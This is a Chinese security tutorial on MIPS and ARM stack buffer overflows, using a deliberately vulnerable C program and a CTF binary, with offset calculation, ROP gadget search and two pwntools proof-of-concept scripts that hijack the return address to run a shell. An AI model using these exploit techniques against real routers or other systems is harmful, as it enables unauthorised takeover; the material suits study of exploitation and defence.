路由器溢出漏洞分析

admin 2021年8月16日23:54:28评论156 views字数 4664阅读15分32秒阅读模式

路由器溢出漏洞分析


路由器溢出漏洞分析

 

MIPS和ARM溢出漏洞

MIPS堆栈原理

栈是一种先进后出队列特性的数据结构。栈可以用来传递函数参数、存储返回值、保存寄存器,MIPS32架构的函数调用对栈 的分配和使用使用方式与x86架构的特性有相似之处,但同时也有很大区别。

1. MIPS

1.1 MIPS32架构堆栈

MIPS指令系统,采用的是精简指令集。

MIPS32与x86不同之处:

栈操作

两者都向低地址增长。MIPS32架构中没有EBP(栈底指针),进入一个函数,采用栈偏移的方式。所以栈的出栈和入栈都指定偏移量来实现。

参数传递

MIPS32架构前4个传入的参数通过$a0-$a3传递。如果函数参数超过4个,多余的参数会被放入调用参数空间(栈预留的一部分空间)。x86架构下所有参数都是通过堆栈传递。

返回地址

x86架构中,使用call指令调用函数,会先将当前执行位置压入堆栈。MIPS32的函数调用把函数的返回地址直接放入$RA寄存器中,而不是放入堆栈中。

1.2 函数调用的栈布局

叶子函数和非叶子函数

叶子函数

函数中不在调用其他函数

非叶子函数

函数中调用其他函数

函数调用过程

例子

#include int more_arg(int a,int b,int c,int d,int e){    char dst[100] = {0};    sprintf(dst,"%d%d%d%dn",a,b,c,d,e);
}int main(int argc,char *argv[]){    int a1 = 1;    int a2 = 2;    int a3 = 3;    int a4 = 4;    int a5 = 5;
    more_arg(a1,a2,a3,a4,a5);
}

编译

$ mipsel-linux-gnu-gcc -static mips_call.c -o mipsCall

IDA查看文件

主函数

路由器溢出漏洞分析

v_a1-v_a4变量存放在$a0-$a3,v_a5存放在栈分配的空间上

more_arg函数

路由器溢出漏洞分析

与主函数一样,调用sprintf函数时,前4个参数存入$a0-$a3寄存器中,其余的放入堆栈空间中

2. MIPS缓冲区溢出

缓冲区溢出就是大缓冲区数据向小缓冲区数据复制的过程中,没有检查小缓冲区的大小,导致小缓冲区无法接收大缓冲区数据而因而破坏程序运行,获取程序乃至系统的控制权。

例子

#include #include #include #include #include void do_system(int code,char *cmd){    char buf[255];
    system(cmd);
}void main(){    char buf[256] = {0};    char ch;    int count = 0;    unsigned int fileLen = 0;    struct stat fileData;
    FILE *fp;    if(0 == stat("passwd",&fileData)){
        fileLen = fileData.st_size;
    }else{        return;
    }    if((fp = fopen("passwd","rb")) == NULL){        printf("Cannot open file passwd!n");        exit(1);
    }
    ch = fgetc(fp);    while(count <= fileLen){
        buf[count++] = ch;
        ch = fgetc(fp);
    }

    buf[--count] = 'x00';    if(strcmp(buf,"adminpwd") != 0){
        do_system(count,"ls -l");
    }else{        printf("you have an invalid password!n");
    }
    fclose(fp);
}

由源码可以看到,读取文件数据时候并没有对数据做限制。buffer缓冲区大小只有256字节,文件数据内容过大导致最终溢出。

2.1 测试

$ mipsel-linux-gnu-gcc --static overflow.c -o overflow$ python -c "print 'A' * 600" > passwd$ qemu-mipsel-static overflow

程序崩溃

路由器溢出漏洞分析

IDA调试

定位saved_ra地址

下断点

路由器溢出漏洞分析

查看saved_ra发生异常之前数据

路由器溢出漏洞分析

查看发生异常时saved_ra地址被脏数据覆盖

路由器溢出漏洞分析

2.2 劫持执行流程

查看缓冲区大小及栈空间

路由器溢出漏洞分析

buf 缓冲区大小为256字节

passwd文件600字节

buf空间所占大小为0x1A0

计算所要覆盖的数据大小 :0x1A0 – 0x4 = 0x19C(412)

2.3 确定偏移

使用工具

$ python patternLocOffset.py -s 0x6E41376E -l 600

路由器溢出漏洞分析

2.4 确定攻击方式

漏洞程序有一个函数do_system_0函数

查找gadget

路由器溢出漏洞分析

.text:00401FA0                 addiu   $a1, $sp, 0x58+var_40(24)  # a1->命令字符串
.text:00401FA4                 lw      $ra, 0x58+var_4($sp) ($sp(84)) # do_system函数地址
.text:00401FA8                 sltiu   $v0, 1
.text:00401FAC                 jr      $ra
.text:00401FB0                 addiu   $sp, 0x58

3. POC

from pwn import *

context.endian = "little"context.arch = "mips"gadget = 0x00401FA0system_addr = 0x00400390cmd = "sh"cmd += "x00" * (4 - (len(cmd) % 4))

padding = 'A' * 0x19Cpadding += p32(gadget)
padding += 'A' * 24padding += cmd
padding += "B" * (0x3C - len(cmd))
padding += p32(system_addr)
padding += "TTTT"with open('passwd','w')as f:
    f.write(padding)print 'ok!'

路由器溢出漏洞分析

4. 实战分析

大家可以参考我的文章DIR-645路由器溢出漏洞分析。

ARM堆栈原理

栈是一种先进后出队列特性的数据结构。栈可以用来传递函数参数、存储返回值、保存寄存器,ARM架构的函数调用对栈 的分配和使用使用方式与x86架构的特性有相似之处,但同时也有很大区别。

1. ARM

1.1 ARM架构堆栈

ARM指令系统,采用的是精简指令集。

ARM与x86不同之处:

栈操作

两者都向低地址增长。ARM采用POP和PUSH指令操作堆栈的入栈和出栈。

参数传递

ARM架构前4个传入的参数通过$R0-$R3传递。如果函数参数超过4个,多余的参数会被放入调用参数空间(栈预留的一部分空间)。x86架构下所有参数都是通过堆栈传递

返回地址

x86架构中,使用call指令调用函数,会先将当前执行位置压入堆栈。ARM架构中,使用B跳转,跳转到另一个指令PC上,PC 总是指向要执行的下一条指令。

1.2 函数调用的栈布局

同上例子

打开IDA查看

路由器溢出漏洞分析

1.3 ARM工作状态(ARM、Thumb)

CPSR程序状态寄存器 — 查看ARM工作状态

N Z C V Q DNM(RAZ) I F T M4 M3 M2 M1 M0

N、Z、C、V 条件码标志

N: 在结果是有符号的二进制补码的情况下,如果结果为负数,则N=1;如果结果为非负数,则N=0

Z: 如果结果为0,则Z=1;如果结果为非零,则Z=0

C: 设置分一下几种情况

加法指令,如果产生进位,C=1否则C=0

减法指令,如果产生借位,C=0;否则C=1

对于有移位操作的非法指令,C为移位操作中最后移除位的值

T: 工作状态 T=1 Thumb T=0 ARM

2. ARM缓冲区溢出

使用CTF的一道题目

2.1 测试

$ qemu-arm-static ./arm_pwn3

路由器溢出漏洞分析

考虑对输入内容长度没有校验

随机生成500个字符串,程序发生段错误

路由器溢出漏洞分析

2.2 劫持执行流程并确定偏移

动态调试

$ qemu-arm-static -g 1234 ./arm_pwn3

捕获错误

路由器溢出漏洞分析

计算偏移

$ cyclic 500$ cyclic -l 0x6261616a136

查看当前程序状态寄存器

这里涉及到ARM状态(LSB=0)和Thumb状态(LSB=1)的切换,栈上内容弹出到PC寄存器时,其最低有效位(LSB)将被写入CPSR寄存器的T位,而PC本身的LSB被设置为0。此时在gdb中执行p/t $cpsr以二进制格式显示CPSR寄存器。在 Thumb(v1) 状态下存储当前指令加 4(两条 Thumb 指令)的地址,需要在报错的地址加1。

路由器溢出漏洞分析

当前T=1即位Thumb状态

$ cyclic -l 0x6261616b140

2.3 确定攻击方式

查看程序开启哪些防护

路由器溢出漏洞分析

NX:栈上不可执行shellcode

查找程序可用gadget

可以看到程序一开始会读取banner.txt文件

路由器溢出漏洞分析

回溯发现该函数就是system函数

路由器溢出漏洞分析

确定system函数位置0x1480C

查看有啥现有字符串可以用作system函数参数

路由器溢出漏洞分析

/bin/sh 字符串地址 0x49018

查找合适的ROPgadget

$ ROPgadget --binary arm_pwn3 --only "pop | ret"

路由器溢出漏洞分析

pop {r0,r4,pc} ;将堆栈中的数据弹出到r0,r4,pc寄存器中
;pc寄存器指向要执行的下一条指令

思路:

140偏移 + gadget地址 + /bin/sh参数 + 0占位 + system函数地址

3. POC

from pwn import *

p = process(['qemu-arm-static','-g','1234','./arm_pwn3'])

system_addr = 0x1480Cbin_sh_addr = 0x49018pop_r0_r4 = 0x1fb5cpayload = 'A' * 140 + p32(pop_r0_r4) + p32(bin_sh_addr) + p32(0) + p32(system_addr + 1)
p.sendlineafter("buffer: ",payload)
pause()
p.interactive()

测试发生报错

路由器溢出漏洞分析

查看当前CPSP发现T=1,system函数地址加1,测试如下

路由器溢出漏洞分析

4. 实战分析

后续会发布一篇某款ARM架构的路由器栈溢出漏洞分析文章。

 

参考

https://www.anquanke.com/post/id/204326

https://blog.csdn.net/qq_43116977/article/details/105341940


END

路由器溢出漏洞分析


本文始发于微信公众号(网络侦查研究院):路由器溢出漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月16日23:54:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   路由器溢出漏洞分析https://cn-sec.com/archives/458256.html

发表评论

匿名网友 填写信息